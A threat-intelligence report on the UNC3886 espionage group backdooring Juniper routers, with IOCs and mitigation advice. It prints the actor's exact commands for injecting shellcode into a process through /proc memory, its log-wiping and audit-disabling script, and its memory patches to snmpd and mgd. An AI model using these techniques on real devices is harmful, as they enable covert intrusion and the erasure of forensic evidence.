Mandiant did not observe evidence indicating successful exploitation of veriexec bypass techniques already addressed by Juniper in supported software and hardware. However, aside from the process injection technique described later in this blog post, infection on the compromised EOL Juniper MX routers indicate that the threat actor successfully deployed executable backdoors. Mandiant identified the threat actor had root access to the impacted devices.

Circumventing Veriexec with Process Injection

Veriexec protection prevents unauthorized binaries from executing. This poses a challenge for threat actors, as disabling veriexec can trigger alerts. However, execution of untrusted code is still possible if it occurs within the context of a trusted process. Mandiant’s investigation revealed that UNC3886 was able to circumvent this protection by injecting malicious code into the memory of a legitimate process. This specific technique is now tracked as CVE-2025-21590, as detailed in Juniper Network’s security bulletin JSA93446.

To achieve this, UNC3886 first gained privileged access to a Juniper router from a terminal server used for managing network devices using legitimate credentials, and entered the FreeBSD shell from the Junos OS CLI. Within the shell environment, they used the “here document” feature to generate a Base64-encoded file named ldb.b64. This encoded file was then decoded using base64 to create a compressed archive named ldb.tar.gz, which was subsequently decompressed and extracted using the gunzip and tar utilities to extract malicious binaries.

Mandiant was unable to recover the full content of ldb.b64 or ldb.tar.gz on the compromised Juniper routers' file system. However, Mandiant successfully recovered three malicious payloads by performing analysis on the memory of a compromised router. The purpose of the payloads was as follows:

loader.bin is a shellcode loader responsible for loading functions including exit, mmap, open, read, and close from a standard library libc.so.7, allocating memory, and loading and executing the final payload from payload.bin
pc.bin contains a memory address 0x4012f0
payload.bin was identified to be the Position Independent Code (PIC) version of the lmpad backdoor

Details of lmpad backdoor are covered in the Malware Analysis section.

Mandiant observed the threat actor inject malicious payloads into a newly spawned cat process. The actor created a named pipe called null using mkfifo and used cat to continuously read from it, effectively creating a hung process. This stage involved the following commands:

rm -rf null; mkfifo null; cat null & set pid=$! echo " $pid"

While the hung cat process was waiting for data from the null pipe, the threat actor leveraged dd to read binary data from the payload files and write it to specific memory locations inside the cat process.

dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0 dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

The first dd command wrote the loader code from loader.bin at the virtual address 0x4012f0, which is the entrypoint of cat. The second dd command replaced data at 0x602820 with the content of pc.bin. Mandiant noted that 0x602820 is the global offset table entry for fclose, this memory location was overwritten with 0x4012f0, indicating that pc.bin contains the memory address where loader.bin was injected to.

The threat actor sent an empty string using echo to the null pipe. cat received an end-of-file signal after echo finished writing the data and attempted to close the file by executing fclose.

As the global offset table entry for fclose function was replaced with the entrypoint to the shellcode loader, cat executed the shellcode loader instead of the actual fclose function, and ultimately loaded the final payload from payload.bin in the same directory.

After payload.bin has been loaded, the threat actor removed the null file and the ldb directory, then terminated the current session. This left only the legitimate process running on the compromised router, now containing the malicious code. The following commands were used to achieve these actions:

sleep 1;echo -n>null;sleep 1;rm -rf null cd .. rm -rf ldb kill -9 $$

Mandiant’s investigation noted that this process injection is intended for executing the PIC version of the lmpad backdoor while veriexec is enabled and does not support execution of other backdoors identified on the file system of the compromised Juniper routers.

Malware Overview

Mandiant’s investigation identified six distinct malware samples across multiple Juniper MX routers. Each sample is a modified version of a TINYSHELL backdoor, but with unique capabilities. All of these samples incorporate a core TINYSHELL backdoor functionality, but differ greatly when it comes to activation methods as well as additional, Junos OS specific features.

The following malware samples were identified:

appid - TINYSHELL-based active backdoor, mimicking a legitimate binary named appidd (Application Identification Daemon)
to - TINYSHELL-based active backdoor, mimicking a legitimate binary named top (Table of Processes)
irad - TINYSHELL-based passive backdoor, mimicking a legitimate binary named irsd (Interface Replication and Synchronization Daemon)
lmpad - TINYSHELL-based utility and passive backdoor, mimicking a legitimate binary named lmpd (Link Management Protocol Daemon)
jdosd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named jddosd (Juniper DDOS protection Daemon)
oemd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named oamd (Operation, Administration and Maintenance Daemon)

TINYSHELL

TINYSHELL is a publicly available lightweight backdoor written in C that communicates using a custom binary protocol. The standard set of TINYSHELL commands comprises of:

Remote file upload
Remote file download
Establishing remote shell session

A basic TINYSHELL implementation for FreeBSD seems to be a foundation for heavily customized backdoors detailed as follows.

Malware Analysis appid — TINYSHELL-Based Active Backdoor

Sample one, named appid, is an active backdoor written in C. It is derived from the publicly available TINYSHELL source code with additional supported commands. It is an active backdoor that communicates to the following hardcoded command and control (C2) servers:

TCP://129[.]126[.]109[.]50:22
TCP://116[.]88[.]34[.]184:22
TCP://223[.]25[.]78[.]136:22
TCP://45[.]77[.]39[.]28:22

Mandiant believes these IPs are staging nodes of a GOBRAT ORB network, eventually leading to a single, backend Adversary Controlled Operations Server (“ACOS”).

This malware begins by communicating to a random C2 server from the list. The malware maintains two TCP sockets that will stay synchronized with the same C2 address. One socket is used for tasking requests and the other is for handling requests. The malware will rotate through the list of C2 servers until a successful connection is created and it will request a task using the first socket. After receiving a task from the C2, the malware then creates a second socket for handling this specific task. After the task is finished, the second socket is closed.

The malware encrypts all network traffic with AES using a hard-coded key. The following commands are supported by malware, consisting of standard TINYSHELL commands and added proxy and reconfiguration capabilities:

Number

Name

Description

Comment

tshd_get_file

Sends a file to the server

Standard TINYSHELL command

tshd_put_file

Downloads a file from the server

Standard TINYSHELL command

tshd_runshell

Launches an interactive /bin/sh shell session

Standard TINYSHELL command

tshd_setproxy

Establish a Socks proxy to a given IP+port number

Custom command

tshd_config

Change Configuration Menu

Custom command

The following is the list of configuration items that can be changed by the command number 5 (tshd_config) and their associated config menu numbers:

Number

Config Item

C2 IP Address 1

C2 IP Address 2

C2 IP Address 3

C2 IP Address 4

C2 Port Number

C2 Network Interface

Sleep Timeout

Exit Config Menu

to — TINYSHELL-Based Active Backdoor

Sample two, named to, is the same as Sample 1 but with different hardcoded C2 servers:

tcp://101[.]100[.]182[.]122:22
tcp://118[.]189[.]188[.]122:22
tcp://158[.]140[.]135[.]244:22
tcp://8[.]222[.]225[.]8:22

irad — TINYSHELL-Based Passive Backdoor

Sample three, named irad, is a TINYSHELL-based passive backdoor written in C. It acts as a libpcap-based packet sniffer and receives commands by inspecting packets on the wire looking for a magic-string that activates its backdoor capabilities. Malware supports 2 modes of operation: active mode, in which it will connect to a provided C2 address, or a passive - listening mode. In addition to 3 standard TINYSHELL commands, it implements 2 custom commands and a custom activation routine.

The malware uses libpcap library to capture all network packets on the host (interface specified in the eth environment variable) matching the BPF filter of icmp[4:2] == 0xaa56. It reads 16 bytes of data starting at offset 10 from the ICMP packet. The malware has insufficient bounds checking and could read past the end of a packet payload if a smaller than expected packet is encountered.

For any ICMP type code 8 (Echo request) packets, it reads the 16 bytes of data and decrypts it with a single byte XOR key 0x86. It then compares the decrypted data with a magic string uSarguuS62bKRA0J. If the string matches and the byte 8 of the ICMP packet matches ascii character 1 or 2, it then reads the target IP and TCP port number from the ICMP packet and establishes a TCP connection to the specified IP (active mode). It uses a custom AES and HMAC implementation to encrypt and authenticate the communication. It uses a hardcoded key string WZtOTig2m42gXB6U to derive session keys and a hardcoded authentication token 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D to authenticate a target.

After authenticating a connection to a target host it starts encrypted communication. If the response from the target host begins with the string ek63a21km7WSWkfk then it exits, otherwise it decodes the command number from the packet:

Command Number

Function

Comment

Upload a file to the remote host

Standard TINYSHELL command

Download a file from the remote host

Standard TINYSHELL command

Launch an interactive /bin/csh session

Standard TINYSHELL command

Does nothing

Custom command

Relay the current connection to a specified IP and Port

Custom command

If byte 8 of the ICMP packet is 0, the malware will spawn a listening server on TCP port 31234 (passive mode). The listening backdoor server supports the same set of 5 commands as listed in the previous table, and the same encryption and authentication protocol.

If the string 1spCq0BMbJwCoeZn is received, and the malware is currently operating as a listener and accepting connections on port 31234, then it will terminate the listening process.

lmpad — TINYSHELL-Based Utility and Passive Backdoor

Sample four, named lmpad is an utility and a passive backdoor written in C. In addition to standard TINYSHELL capabilities it can also launch an external script that can perform process injection into two legitimate Junos OS processes to inhibit logging. The main purpose of this malware is to disable all possible logging before the operator connects to the router to perform hands-on activities and then later restore the logs after the operator disconnects.

The malware begins by attempting to receive a UDP packet on port 33615, where it receives an RC4 encrypted message and sends an acknowledgement message in response. The malware also checks the decrypted received payload against the following hex bytes, terminating the connection if it doesn't match.

26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c

The RC4 encryption key used to decrypt received UDP messages is: 0b3330c0b41d1ae2.

After the initial check, the malware enters a listening mode, waiting for commands. In addition to standard TINYSHELL commands (command 2, 4 and 5) it also implements 5 other custom commands:

Command 0

This command inhibits logging in preparation of hands-on threat actor activity on the router. It begins by writing a compressed zip archive to the file /var/tmp/pfed_jdhcp6_trace.log. It then executes the following command line to decompress the archive, execute an embedded script with argument pre and clean up the script after execution:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$

The following is the uncompressed script file:

pre_ssh() { #closelog cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0 sed -i '' 's/\/dev\/null #//g' /mfs/var/etc/syslog.conf0 sed -i '' 's/ / \/dev\/null #/g' /mfs/var/etc/syslog.conf ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1 #last cp -r /var/log/utx.log /var/log/utx.log0 cp -r /var/log/wtmp /var/log/wtmp0 } post_ssh() { #relog cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf rm -f /mfs/var/etc/syslog.conf0 ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1 #relast cp -r /var/log/wtmp0 /var/log/wtmp cp -r /var/log/utx.log /var/log/utx.log0 rm -f /var/log/wtmp0 } backup() { #backconf rm -rf /var/rundb+ cp -r /var/rundb /var/rundb+ cp /var/db/commits /usr/lib/libjucomm.so.1 tar -cf /config/usage_db /config/juniper.conf.* tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.* } restore() { #reconfig cp -r /var/rundb+/* /var/rundb cp /usr/lib/libjucomm.so.1 /var/db/commits tar -xf /config/usage_db -C / tar -xf /var/db/config/usage_db -C / rm -r /var/rundb+ rm -f /usr/lib/libjucomm.so.1 rm -f /config/usage_db rm -f /var/db/config/usage_db } if [ $1 = "pre" ]; then pre_ssh elif [ $1 = "post" ]; then post_ssh elif [ $1 = "backup" ]; then backup elif [ $1 = "restore" ]; then restore fi echo done exit 0

This script can execute 4 commands:

pre: backups syslog.conf as syslog.conf0, it also redirects all logging to /dev/null, sends HUP signal to eventd daemon responsible for logging and backs up last log and wtmp log.
post: reverses changes done by pre_ssh, it restores original syslog.conf as well as last log and wtmp log, it removes backups and sends another HUP signal to eventd process.
backup: it backups the current Juniper configuration database and commit logs and archives configuration files.
restore: it restores previously backed up configuration database and config files and removes backups.

After stopping logging with pre_ssh script, this command then reads the snmpd process PID from /var/run/snmpd.pid. It also reads 4 bytes of data from address 0x8601328 and writes it to the file /var/tmp/rts by using dd:

dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null

It then changes this data to 0 and writes it to /var/tmp/rts and later back to snmpd process memory using the same dd technique:

dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328 conv=notrunc 2>/dev/null

This patches the snmpd process memory at address 0x8601328. The patch sets a global variable named trap_configs to 0. trap_configs possibly points to a structure containing SNMP traps that are sent to the monitoring server. Effectively this stops SNMP traps from being triggered which is most likely done to stop SNMP traps from triggering when specific events stop being logged in syslog.

The malware then repeats similar actions against the mgd (Juniper Management Daemon) process. It reads mgd process PID from /var/run/mgd.pid and using the same technique previously mentioned it reads 4 bytes from mgd process memory at 0x84E90D8 . It compares these bytes to 57E58955 (which after swapping endianness, disassembles to: PUSH RBP; MOV EBP,ESP; PUSH RDI instructions which is a typical function prologue), and if they match, it patches them with following bytes: C3D08990. If we disassemble these bytes from a little endian order, we get NOP; MOV EAX,EDX; RET instructions.

This patch modifies the prologue of the function at 0x84E90D8 to NOP, MOV EAX,EDX, RET effectively skipping the rest of the function. Based on the behavioral analysis, the goal of this patch is likely to stop auditd logging of MGD login, logout, cmd events.

This direct memory manipulation using dd allows the attacker to alter program behavior and bypass security measures. UNC3886 previously used a similar tactic, where dd was used to disable file system verification on startup. In that case, UNC3886 exploited a vulnerability (CVE-2022-41328) to overwrite legitimate FortiOS system binaries, achieving persistence and evading security checks.

Command 1

This command can reverse operations performed by Command 0 after the operator finished their hands-on-keyboard operations. It restores logging by executing sh /var/tmp/pfed_jdhcp6_trace.log.bak post, it also reverses patches to snmpd and mgd.

Command 2 — Launch CSH Session

This command launches an interactive /bin/csh session over the UDP connection, with a forked process encrypting the input and output of the shell and transmitting it over the network.

Before executing remote shell, this commands launches a series of sed commands to remove specific lines from log files:

sed -i '' '/root/d' /var/log/interactive-commands sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history sed -i '' '/root/d' /var/log/messages sed -i '' '/root/d' /var/log/auth

These remove lines containing the term root from /var/log/interactive-commands, /var/log/messages, and /var/log/auth. They also remove instances of vi, set, gdb, and mgd from /root/.history.

Command 3 — Request New Sleep Timeout

This command will cause the malware to send a reply to the connection containing the value of the current sleep timeout. The response to that message will contain the new 4-byte sleep timeout that will be used by the main command loop (in seconds).

Command 4 — File Upload

This command will cause the malware to send a specified file to the remote server.

Command 5 — File Download

This command will cause the malware to download a file from the remote server and write it to the disk.

Command 6 — Backup Configuration Database

This command causes the malware to execute the same script as Command 0 but with argument backup to backup Juniper configuration database and commit logs.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 7 — Restore configuration database

This command causes the malware to execute the same script as Command 0 but with argument restore to restore Juniper configuration database and commit logs:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 8 - Receive new socket timeout value

This command will cause the malware to send a reply to the connection containing the value of the current socket timeout. The response to that message will contain the new 4-byte value that will be used to update the main socket timeout. The default socket timeout value is 300 seconds

If any other command is passed, malware will close the socket and exit.

jdosd — TINYSHELL-Based Passive Backdoor

Sample five, named jdosd, is a passive backdoor written in C. It implements a UDP backdoor operating on a fixed port number which provides file transfer and remote shell capabilities.

Malware binds to UDP port 33512 and uses a custom RC4 implementation. This implementation has a bug in it where it doesn't properly retrieve a final state box value during its PRGA generation. The following key is used for the traffic encryption:

4fd37426-65dd-4a8d-8ba6-1382a011dae9

The attacker initiates the connection to the backdoor by sending a magic value 0xDEADBEEF. The malware responds to this message by sending the same message in response, encrypted with custom RC4. The malware will then send the process ID (pid) of its own process to the C2.

After the initial beacon the malware waits for additional commands. In addition to standard TINYSHELL commands (1-3), there are two additional commands supported(0xAC, 0xFF):

Command Code

Description

Comment

Upload data. Reads a file path from the received data stream and sends the contents of the file to the remote host.

Standard TINYSHELL command

Reads a file name from the data stream, creates it, then reads the file contents to write to that file from the data stream.

Standard TINYSHELL command

Launches an interactive /bin/csh session, with all input and output marshaled across the UDP connection

Standard TINYSHELL command

0xAC

Does nothing

Custom command

0xFF

Exits the Program

Custom command

oemd — TINYSHELL-Based Passive Backdoor

Sample six, named oemd, is a passive backdoor written in C. The backdoor receives the C2 address and port by binding on specific network interfaces. Network interfaces are stored in an environment variable. The backdoor communicates with the C2 over TCP. Communication with C2 is AES-encrypted and XOR-encoded.

The malware configuration is stored in the following environment variables:

INTFS: The network interfaces' names to bind to.
RTS: The routing addresses to bind to (instead of interfaces).
UPRT: The port to bind to (if not specified, 45678 is used)
DAEMON: Run the sample in the background.

During initialization, malware executes following command to retrieve local-index number of an interface specified in the INTFS environment variable:

ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'

After setting up a local UDP socket, malware binds to 0.0.0.0:<port> on the specified interfaces and waits for the attacker to send the C2 address and port. After receiving a C2 address on the UDP socket it establishes a new TCP connection to the provided target.

Malware supports a set of standard TINYSHELL commands:

1: Upload a file.
2: Download a file.
3: Execute a shell command.

When executing shell commands, the malware clears the HISTFILE environment variable and allows the attacker to specify the TERM value.

Junos OS Specific Socket Options

All the previously listed samples create an AF_ROUTE socket using socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0). Running these samples on a standard FreeBSD system would return an invalid socket, hence we believe this to be a JunosOS specific implementation.

We believe that this socket is used to establish a connection for communicating with the operating system's routing subsystem. The AF_ROUTE constant designates the socket family for routing operations, and SOCK_SEQPACKET specifies a reliable, message-oriented connection. This socket is used to read and write a packet similar in structure to rt_* messages on OpenBSD to retrieve the interface index. From all the samples, only oemd uses the ifinfo command to retrieve the interface index, while other samples are using a custom rt_* messages via the socket.

The custom message contains an interface name and a logical sub interface. On Juniper routing devices, instead of tagging packets with VLAN IDs, sub-interfaces act as distinct interfaces with their own IP addresses, routing configurations, and potentially different security policies. The interface index value is then passed into a setsockopt call for a command and control socket either TCP or UDP.

Activity in Linux Environments

Mandiant continued to observe UNC3886 leverage similar TTPs and use of the same malware and utilities as detailed in our previous blog post as follows:

Command execution and persistence using a combination of rootkits and utilities, including REPTILE and MEDUSA with SEAELF loader, and BUSYBOX.
Instead of using the publicly available kubo/injector as noted previously, Mandiant observed UNC3886 deployed PITHOOK along with a custom SSH server based on the publicly available wzshiming/sshd project to hijack SSH authentications and capture SSH credentials.
TACACS+ daemon binary was replaced by a backdoored version of the binary with similar malicious functions for capturing credentials.
Use of GHOSTTOWN malware for anti-forensics purposes.

Mandiant’s investigation did not observe evidence of data staging and exfiltration.

Outlook and Implications

This blog post further highlights China-nexus espionage actors are continuing to compromise networking infrastructure with custom malware ecosystems. While UNC3886 previously focused their operations on network edge devices, this activity demonstrated they’re also targeting internal networking infrastructure, such as Internet Service Provider (ISP) routers.

Mandiant observed the threat actor targeting network authentication services, including the Terminal Access Controller Access-Control System (TACACS+), and terminal servers with access to the routers to gain privileged initial access.

This privileged access allowed the threat actor to enter Junos OS shell mode and perform restricted operations. Investigating further actions taken by the threat actor was hampered by the challenges inherent in analyzing proprietary network devices, which required novel methods for artifact acquisition and analysis.

Mandiant recommends organizations:

Upgrade Juniper devices and run security checks: Organizations should upgrade their Juniper devices to the latest images which contain mitigations and updated signatures for JMRT and run JMRT Quick Scan and Integrity check after the upgrade.
Secure Authentication: Implement a centralized Identity and Access Management (IAM) system with robust multi-factor authentication (MFA) and granular role-based access control (RBAC) for managing network devices.
Configuration Management: Implement a network configuration management that supports configuration validation against defined templates and standards, with the ability to automatically remediate deviations or trigger alerts for manual intervention.
Enhanced Monitoring: Address and prioritize high-risk administrative activities and implement monitoring solutions with a process to regularly review the effectiveness of detection.
Vulnerability Management: Prioritize patching and mitigation of vulnerabilities in network devices, including those in lesser-known operating systems.
Device Lifecycle Management: Implement a device lifecycle management program that includes proactive monitoring, automated software updates, and end-of-life (EOL) replacement planning to ensure network devices are always supported and secure.
Security Hardening: Strengthen the security posture of network devices, administrative devices and systems used for managing network devices by implementing strict access controls, network segmentation, and other security measures.
Threat Intelligence: Proactively leverage threat intelligence to continually evaluate and improve the effectiveness of security controls against emerging threats.

The compromise of routing devices is a recent trend in the tactics of espionage-motivated adversaries as it grants the capability for a long-term, high-level access to the crucial routing infrastructure, with a potential for more disruptive actions in the future. A concerted effort is required to safeguard these critical systems and ensure the continued stability and security of the internet.

Organizations potentially impacted by this campaign are strongly advised to engage Mandiant's Custom Threat Hunt service. Mandiant's team of security experts can proactively identify and mitigate hidden threats, providing clarity and confidence in your security posture.

Acknowledgement

This analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. A special thanks goes to Paul Tarter, Adam Markun, and Ange Albertini who contributed to analysis of the malware detailed in this blog post.

Indicators of Compromise

A Google Threat Intelligence Collection of IOCs is available for registered users. For Google Security Operations Enterprise+ customers, rules have been released to your Emerging Threats rule pack, and indicators of compromise (IOCs) listed in this blog post are available for prioritization with Applied Threat Intelligence.

Host-Based Indicators

Filename

Malware Family

MD5

SHA1

SHA256

appid

TINYSHELL

2c89a18944d3a895bd6432415546635e

50520639cf77df0c15cc95076fac901e3d04b708

98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888

irad

TINYSHELL

aac5d83d296df81c9259c9a533a8423a

1a6d07da7e77a5706dd8af899ebe4daa74bbbe91

5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2

jdosd

TINYSHELL

8023d01ffb7a38b582f0d598afb974ee

06a1f879da398c00522649171526dc968f769093

c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3

lmpad

TINYSHELL

5724d76f832ce8061f74b0e9f1dcad90

f8697b400059d4d5082eee2d269735aa8ea2df9a

5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a

oemd

TINYSHELL

e7622d983d22e749b3658600df00296d

cf7af504ef0796d91207e41815187a793d430d85

905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b

TINYSHELL

b9e4784fa0e6283ce6e2094426a02fce

01735bb47a933ae9ec470e6be737d8f646a8ec66

e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed

oemd

TINYSHELL

bf80c96089d37b8571b5de7cab14dd9f

cec327e51b79cf11b3eeffebf1be8ac0d66e9529

3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e

lmpad

TINYSHELL

3243e04afe18cc5e1230d49011e19899

2e9215a203e908483d04dfc0328651d79d35b54f

7ae38a27494dd6c1bc9ab3c02c3709282e0ebcf1e5fcf59a57dc3ae56cfd13b4

Network Indicators

Description

Indicator